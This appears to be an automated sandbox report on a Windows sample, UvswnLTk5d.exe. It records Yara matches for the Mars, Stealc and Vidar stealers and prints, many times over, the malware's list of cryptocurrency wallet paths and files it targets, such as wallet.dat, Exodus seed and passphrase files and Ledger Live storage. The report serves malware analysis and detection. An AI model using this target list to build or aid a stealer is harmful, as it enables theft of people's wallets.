
0_2_6CF28390

Source: Amcache.hve.6.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.6.dr	Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information

Yara detected Mars stealer

Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.2177762836.0000000002DD5000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UvswnLTk5d.exe PID: 5900, type: MEMORYSTR
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.UvswnLTk5d.exe.4980e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.UvswnLTk5d.exe.49b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.2177988206.0000000004980000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1683918052.00000000049B0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: UvswnLTk5d.exe PID: 5900, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\.L4
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: UvswnLTk5d.exe, 00000000.00000002.2177762836.0000000002E25000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia 